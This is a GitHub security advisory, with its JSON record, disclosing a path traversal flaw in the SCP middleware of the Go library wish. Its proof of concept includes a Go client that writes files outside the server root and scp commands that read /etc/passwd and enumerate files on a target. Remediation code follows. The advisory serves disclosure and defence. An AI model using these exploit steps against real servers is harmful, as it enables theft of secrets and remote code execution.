GHSA-XJVP-7243-RG9H
Vulnerability from github – Published: 2026-04-18 01:09 – Updated: 2026-04-18 01:09Summary
The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.
Affected Versions
charm.land/wish/v2— all versions through commit72d67e6(currentmain)github.com/charmbracelet/wish— likely all v1 versions (same code pattern)
Details
Root Cause
The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.
Attack Vector 1: Arbitrary File Write (scp -t)
When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.
Attack Vector 2: Arbitrary File Read (scp -f)
When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.
Attack Vector 3: File Enumeration via Glob
The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.
Proof of Concept
All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.
Vulnerable Server
Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:
package main
import (
"net"
"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)
func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
Write Traversal — Write arbitrary files outside /srv/data
An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:
package main
import (
"fmt"
"os"
gossh "golang.org/x/crypto/ssh"
)
func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()
// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf := make([]byte, 1)
session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack
// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
// Wait for ack
stdin.Write([]byte("hello world\n"))
stdin.Write([]byte{0}) // NULL terminator
stdin.Close()
}()
// Tell the server we're uploading to "."
session.Run("scp -t .")
}
Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.
Read Traversal — Read arbitrary files outside /srv/data
No custom tooling needed. Standard scp passes the path directly:
# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd
The server resolves ../../../etc/passwd through prefixed():
1. filepath.Clean("../../../etc/passwd") → "../../../etc/passwd"
2. Not prefixed with /srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd"
3. File contents of /etc/passwd are sent to the attacker.
Glob Traversal — Enumerate and read files outside /srv/data
scp -P 2222 attacker@target:'../../../etc/pass*' ./
Validated Test Output
These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:
=== RUN TestPathTraversalWrite
PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite
=== RUN TestPathTraversalWriteRecursiveDir
PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir
=== RUN TestPathTraversalRead
PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead
=== RUN TestPathTraversalGlob
PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob
Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.
Impact
An authenticated SSH user can:
- Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH
authorized_keys, shell profiles, or systemd units. - Read arbitrary files accessible to the server process, including
/etc/shadow, private keys, database credentials, and application secrets. - Create arbitrary directories on the filesystem.
- Enumerate files outside the root via glob patterns.
If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.
Remediation
Fix prefixed() to enforce root containment
func (h *fileSystemHandler) prefixed(path string) (string, error) {
// Force path to be relative by prepending /
joined := filepath.Join(h.root, filepath.Clean("/"+path))
// Verify the result is still within root
if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
}
return joined, nil
}
Sanitize filenames in copy_from_client.go
SCP filenames should never contain path separators or .. components:
name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
return fmt.Errorf("invalid filename: %q", name)
}
Validate info.Path in GetInfo or at the middleware entry point
info.Path = filepath.Clean("/" + info.Path)
Credit
Evan MORVAN (evnsh) — me@evan.sh (Research) Claude Haiku (formatting the report)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "charm.land/wish/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/charmbracelet/wish"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.4.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T01:09:46Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol.\n\n## Affected Versions\n\n- `charm.land/wish/v2` \u2014 all versions through commit `72d67e6` (current `main`)\n- `github.com/charmbracelet/wish` \u2014 likely all v1 versions (same code pattern)\n\n## Details\n\n### Root Cause\n\nThe `fileSystemHandler.prefixed()` method in `scp/filesystem.go:42-48` is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:\n\n```go\nfunc (h *fileSystemHandler) prefixed(path string) string {\n path = filepath.Clean(path)\n if strings.HasPrefix(path, h.root) {\n return path\n }\n return filepath.Join(h.root, path)\n}\n```\n\nWhen `path` contains `../` components, `filepath.Clean` resolves them but does not reject them. The subsequent `filepath.Join(h.root, path)` produces a path that escapes the root directory.\n\n### Attack Vector 1: Arbitrary File Write (scp -t)\n\nWhen receiving files from a client (`scp -t`), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:\n\n```go\nreNewFile = regexp.MustCompile(`^C(\\d{4}) (\\d+) (.*)$`)\nreNewFolder = regexp.MustCompile(`^D(\\d{4}) 0 (.*)$`)\n```\n\nThe captured filename is used directly in `filepath.Join(path, name)` without sanitization (`scp/copy_from_client.go:90,140`), then passed to `fileSystemHandler.Write()` and `fileSystemHandler.Mkdir()`, which call `prefixed()` \u2014 allowing the attacker to write files and create directories anywhere on the filesystem.\n\n### Attack Vector 2: Arbitrary File Read (scp -f)\n\nWhen sending files to a client (`scp -f`), the requested path comes from the SSH command arguments (`scp/scp.go:284`). This path is passed to `handler.Glob()`, `handler.NewFileEntry()`, and `handler.NewDirEntry()`, all of which call `prefixed()` \u2014 allowing the attacker to read any file accessible to the server process.\n\n### Attack Vector 3: File Enumeration via Glob\n\nThe `Glob` method passes user input containing glob metacharacters (`*`, `?`, `[`) to `filepath.Glob` after `prefixed()`, enabling enumeration of files outside the root.\n\n## Proof of Concept\n\nAll three vectors were validated with end-to-end integration tests against a real SSH server using the public `wish` and `scp` APIs.\n\n### Vulnerable Server\n\nAny server using `scp.NewFileSystemHandler` with `scp.Middleware` is affected. This is the pattern shown in the official `examples/scp` example:\n\n```go\npackage main\n\nimport (\n\t\"net\"\n\n\t\"charm.land/wish/v2\"\n\t\"charm.land/wish/v2/scp\"\n\t\"github.com/charmbracelet/ssh\"\n)\n\nfunc main() {\n\thandler := scp.NewFileSystemHandler(\"/srv/data\")\n\ts, _ := wish.NewServer(\n\t\twish.WithAddress(net.JoinHostPort(\"0.0.0.0\", \"2222\")),\n\t\twish.WithMiddleware(scp.Middleware(handler, handler)),\n\t\t// Default: accepts all connections (no auth configured)\n\t)\n\ts.ListenAndServe()\n}\n```\n\n### Write Traversal \u2014 Write arbitrary files outside /srv/data\n\nAn attacker crafts SCP protocol messages with `../` in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to `/tmp/pwned`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\tgossh \"golang.org/x/crypto/ssh\"\n)\n\nfunc main() {\n\tconfig := \u0026gossh.ClientConfig{\n\t\tUser: \"attacker\",\n\t\tAuth: []gossh.AuthMethod{gossh.Password(\"anything\")},\n\t\tHostKeyCallback: gossh.InsecureIgnoreHostKey(),\n\t}\n\tclient, _ := gossh.Dial(\"tcp\", \"target:2222\", config)\n\tsession, _ := client.NewSession()\n\n\t// Pipe crafted SCP protocol data into stdin\n\tstdin, _ := session.StdinPipe()\n\tgo func() {\n\t\t// Wait for server\u0027s NULL ack, then send traversal payload\n\t\tbuf := make([]byte, 1)\n\t\tsession.Stdout.(interface{ Read([]byte) (int, error) }) // read ack\n\n\t\t// File header with traversal: writes to /tmp/pwned (escaping /srv/data)\n\t\tfmt.Fprintf(stdin, \"C0644 12 ../../../tmp/pwned\\n\")\n\t\t// Wait for ack\n\t\tstdin.Write([]byte(\"hello world\\n\"))\n\t\tstdin.Write([]byte{0}) // NULL terminator\n\t\tstdin.Close()\n\t}()\n\n\t// Tell the server we\u0027re uploading to \".\"\n\tsession.Run(\"scp -t .\")\n}\n```\n\nOr equivalently using standard `scp` with a symlink trick, or by patching the openssh `scp` client to send a crafted filename.\n\n### Read Traversal \u2014 Read arbitrary files outside /srv/data\n\nNo custom tooling needed. Standard `scp` passes the path directly:\n\n```bash\n# Read /etc/passwd from a server whose SCP root is /srv/data\nscp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd\n```\n\nThe server resolves `../../../etc/passwd` through `prefixed()`:\n1. `filepath.Clean(\"../../../etc/passwd\")` \u2192 `\"../../../etc/passwd\"`\n2. Not prefixed with `/srv/data`, so: `filepath.Join(\"/srv/data\", \"../../../etc/passwd\")` \u2192 `\"/etc/passwd\"`\n3. File contents of `/etc/passwd` are sent to the attacker.\n\n### Glob Traversal \u2014 Enumerate and read files outside /srv/data\n\n```bash\nscp -P 2222 attacker@target:\u0027../../../etc/pass*\u0027 ./\n```\n\n### Validated Test Output\n\nThese were confirmed with integration tests using `wish.NewServer`, `scp.Middleware`, and `scp.NewFileSystemHandler` against temp directories. The tests created a root directory and a sibling \"secret\" directory, then verified files were read/written across the boundary:\n\n```\n=== RUN TestPathTraversalWrite\n PATH TRAVERSAL CONFIRMED: file written to \".../secret/pwned\" (outside root \".../scproot\")\n--- FAIL: TestPathTraversalWrite\n\n=== RUN TestPathTraversalWriteRecursiveDir\n PATH TRAVERSAL CONFIRMED: directory created at \".../evil_dir\" (outside root \".../scproot\")\n PATH TRAVERSAL CONFIRMED: file written to \".../evil_dir/payload\" (outside root \".../scproot\")\n--- FAIL: TestPathTraversalWriteRecursiveDir\n\n=== RUN TestPathTraversalRead\n PATH TRAVERSAL CONFIRMED: read file outside root, got content: \"...super-secret-password...\"\n--- FAIL: TestPathTraversalRead\n\n=== RUN TestPathTraversalGlob\n PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: \"...super-secret-password...\"\n--- FAIL: TestPathTraversalGlob\n```\n\nTests used the real SSH handshake via `golang.org/x/crypto/ssh`, real SCP protocol parsing, and real filesystem operations \u2014 confirming the vulnerability is exploitable end-to-end.\n\n## Impact\n\nAn authenticated SSH user can:\n\n- **Write arbitrary files** anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH `authorized_keys`, shell profiles, or systemd units.\n- **Read arbitrary files** accessible to the server process, including `/etc/shadow`, private keys, database credentials, and application secrets.\n- **Create arbitrary directories** on the filesystem.\n- **Enumerate files** outside the root via glob patterns.\n\nIf the server uses the default authentication configuration (which accepts all connections \u2014 see `wish.go:19`), these attacks are exploitable by unauthenticated remote attackers.\n\n## Remediation\n\n### Fix `prefixed()` to enforce root containment\n\n```go\nfunc (h *fileSystemHandler) prefixed(path string) (string, error) {\n // Force path to be relative by prepending /\n joined := filepath.Join(h.root, filepath.Clean(\"/\"+path))\n // Verify the result is still within root\n if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) \u0026\u0026 joined != h.root {\n return \"\", fmt.Errorf(\"path traversal detected: %q resolves outside root\", path)\n }\n return joined, nil\n}\n```\n\n### Sanitize filenames in `copy_from_client.go`\n\nSCP filenames should never contain path separators or `..` components:\n\n```go\nname := match[3] // or matches[0][2] for directories\nif strings.ContainsAny(name, \"/\\\\\") || name == \"..\" || name == \".\" {\n return fmt.Errorf(\"invalid filename: %q\", name)\n}\n```\n\n### Validate `info.Path` in `GetInfo` or at the middleware entry point\n\n```go\ninfo.Path = filepath.Clean(\"/\" + info.Path)\n```\n\n## Credit\n\nEvan MORVAN (evnsh) \u2014 me@evan.sh (Research)\nClaude Haiku (formatting the report)",
"id": "GHSA-xjvp-7243-rg9h",
"modified": "2026-04-18T01:09:46Z",
"published": "2026-04-18T01:09:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h"
},
{
"type": "PACKAGE",
"url": "https://github.com/charmbracelet/wish"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Wish has SCP Path Traversal that allows arbitrary file read/write"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.